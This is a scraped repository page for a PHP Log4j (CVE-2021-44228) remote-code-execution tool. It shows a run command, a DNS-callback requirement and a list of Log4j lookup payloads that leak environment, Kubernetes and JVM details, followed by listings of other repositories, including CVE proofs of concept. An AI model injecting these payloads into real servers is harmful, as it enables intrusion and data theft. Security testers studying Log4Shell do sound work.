Log4j RCE - (CVE-2021-44228)

Overview

Log4j-RCE

Log4j RCE - (CVE-2021-44228) Test Image 1

How To Run?

php log4j.php https://1337.com

Requirements

  • PHP CURL
  • PAYLOAD
  • DNS LOG (Collaborator Burpsuite or use dnslog.cn)

List Payload

Test Image 1

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}

Special Thanks

  • Hidden Ghost Team
  • IndoSec
  • IndoXploit
You might also like...
James Thatcher's solutions for Advent Of Code 2021 in PHP 8.1
James Thatcher's solutions for Advent Of Code 2021 in PHP 8.1

Advent of Code 2021 PHP The solutions to advent of code 2021, solved using PHP 8.1. By James Thatcher Solutions 🥳 🎉 🎄 Day 1 🎅 Day 2 ☃️ Day 3 🦌 Da

cve-2021-38314 - Unauthenticated Sensitive Information Disclosure
cve-2021-38314 - Unauthenticated Sensitive Information Disclosure

cve-2021-38314 - Unauthenticated Sensitive Information Disclosure The Gutenberg Template Library & Redux Framework plugin = 4.2.11 for WordPress regi

only 5 characters to rce
only 5 characters to rce

phpfuck-6characters @Y4tacker Description: only 6 characters to rce ( ) ^ 9 . ; Useage php 6character-rce.php system(\"whoami\"); (((((99999999999999

A platform for CMS version detection, exploit suggestion and CVE display based on vulnerability

A platform for CMS version detection, exploit suggestion and CVE display based on vulnerability

Case for CVE-2022-30778
Case for CVE-2022-30778

Override This is Abount CVE-2021-43503. Requirement PHP = 8.0 Composer Recover vulnerability 1. Startup service composer install cp .env.example .env

Major Security Vulnerability on PrestaShop Websites - CVE-2022-31101
Major Security Vulnerability on PrestaShop Websites - CVE-2022-31101

Fix Major Security Vulnerability on PrestaShop Websites 🚀 CVE-2022-31101 detector and fixer! A newly found exploit could allow remote attackers to ta

CVE-2022-29221 Proof of Concept Code

CVE-2022-29221-PoC This is a very basic Smarty sceleton app with a single template that shows the Proof of Concept code for CVE-2022-29221. Injection

Demo for "Migrating into Layout Builder" from DrupalCon in 2021.

Migrating Into Layout Builder Demo For DrupalCon in 2021, I presented on Migrating Into Layout Builder. For this presentation, I came up with this sim

Bu dizin, 29.04.2021 tarihinde saat 18:00-19:00 arasında Discord'ta,
Bu dizin, 29.04.2021 tarihinde saat 18:00-19:00 arasında Discord'ta, "Türkiye Açık Kaynak Platformu" moderatörlüğünde gerçekleştirilen etkinlikte kullanılan dosyaları barındırmaktadır.

AcikHack21MindFramework Bu dizin, 29.04.2021 tarihinde saat 18:00-19:00 arasında Discord'ta, "Türkiye Açık Kaynak Platformu" moderatörlüğünde gerçekle

👨🏻‍🚀 A command-line tool that gives you the Alpine Day 2021 schedule in your timezone. 🚀
👨🏻‍🚀 A command-line tool that gives you the Alpine Day 2021 schedule in your timezone. 🚀

Alpine Day Schedule a command-line tool that gives you the Alpine Day 2021 schedule in your timezone. 🚀 Quick start Requires PHP 7.4+ # First, instal

Repository untuk kuliah rekayasa web ss 2021

About Laravel Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experie

This repo is for the Laracon 2021 talk "Manage SEO with Laravel and Nova"

About Laravel Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experie

ShellHacks 2021 Project: URide is a carpooling app for College students to get to and from campus
ShellHacks 2021 Project: URide is a carpooling app for College students to get to and from campus

ShellHacks 2021 Project: URide is a carpooling app for College students to get to and from campus. Focused on scheduling it matches you to students nearby with similar schedules to alleviate campus parking and emissions.

Pengembangan website OSIS SMAN 17 Kabupaten Tangerang, dimulai dari tanggal 14 februari 2021

CodeIgniter 4 Application Starter What is CodeIgniter? CodeIgniter is a PHP full-stack web framework that is light, fast, flexible and secure. More in

Webpage for the users / members of the FIAE-D / FIAE-E classes 2021.

Fiae-DE The website I write / wrote for the FIAE-D / FIAE-E classes of 2021. Table of contents: Introduction Technologies Purpose of this repoitory Da

This is a repository for anyone wishing to contribute to HacktoberFest 2021

HacktoberFest 2021 Status IMPORTANT NOTICE : We have stopped accepting PRs for DSA Please Try to add more projects/apps/webapp instead of just DSA cod

Laravel, react, and inertiajs for LevelUp Feel-IT 2021

How To Install hehe Clone the repository: Create your environment file: cp .env.example .env The app key is used to salt passwords. If you need to wor

The slides and demo files for my Alpine Day 2021 talk

Building a Better Dialog Austen Cameron - @austencam This repository contains the slides and demos for my talk from Alpine Day 2021. Below, you'll fin

Public solutions and challenges from sinf ctf 2021

SINFCTF2021 CTF Challenges (and official solutions) created for SINFCTF2021, a companion CTF for Semana de Informática 2021. There's a folder for each

Owner
Fadhli Almunawar
it hurts :)
Fadhli Almunawar
Major Security Vulnerability on PrestaShop Websites - CVE-2022-31101

Fix Major Security Vulnerability on PrestaShop Websites ?? CVE-2022-31101 detector and fixer! A newly found exploit could allow remote attackers to ta

Mathias Reker ⚡️ 25 Nov 22, 2022
CVE-2022-29221 Proof of Concept Code

CVE-2022-29221-PoC This is a very basic Smarty sceleton app with a single template that shows the Proof of Concept code for CVE-2022-29221. Injection

S Bani 12 Nov 4, 2022
Repository untuk kuliah rekayasa web ss 2021

About Laravel Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experie

Sandhika Galih 7 Jul 11, 2022
ShellHacks 2021 Project: URide is a carpooling app for College students to get to and from campus

ShellHacks 2021 Project: URide is a carpooling app for College students to get to and from campus. Focused on scheduling it matches you to students nearby with similar schedules to alleviate campus parking and emissions.

Kayla Marcantonio 2 Sep 27, 2021
The slides and demo files for my Alpine Day 2021 talk

Building a Better Dialog Austen Cameron - @austencam This repository contains the slides and demos for my talk from Alpine Day 2021. Below, you'll fin

Austen Cameron 9 Nov 16, 2021
Public solutions and challenges from sinf ctf 2021

SINFCTF2021 CTF Challenges (and official solutions) created for SINFCTF2021, a companion CTF for Semana de Informática 2021. There's a folder for each

NIAEFEUP 5 Sep 30, 2022
Code de la nuit de l'info 2021

NuitDeInfo2021 ⚠️ Warning: Be very careful here! documetation utilisation git soit par terminal ou dans un IDE (Atom, PhpStorm) ou GitHub Desktop Star

null 0 Sep 20, 2022
Repo pour la Nuit de l'Info 2021, équipe Passage Python

Passage Python Repo pour la Nuit de l'Info 2021, équipe Passage Python Les membres de l'équipe sont : Florian Duzes, FloDarPie Theo Cavailles, igneefl

Florian Duzes 3 Dec 3, 2021
Docker images for Cyber_Security hakathon 2021.

This repository contains a set of vulnerable Docker images for attacking the container environment compiled for Cyber_Security hackathon 2021. Require

null 1 Dec 1, 2022
Tcc realizado na Etec de Guaianazes (2021),onde eu fui o back-end e Vinicius de Almeida foi o front-end.

TCC-Facilita+ Todos os arquivos do projeto de TCC (Facilita+) da Etec de Guaianases realizado em 2021 1° Para utilizar os arquivos,primeiro será nesce

Helder Davidson Rodrigues Alvarenga 0 Jun 15, 2022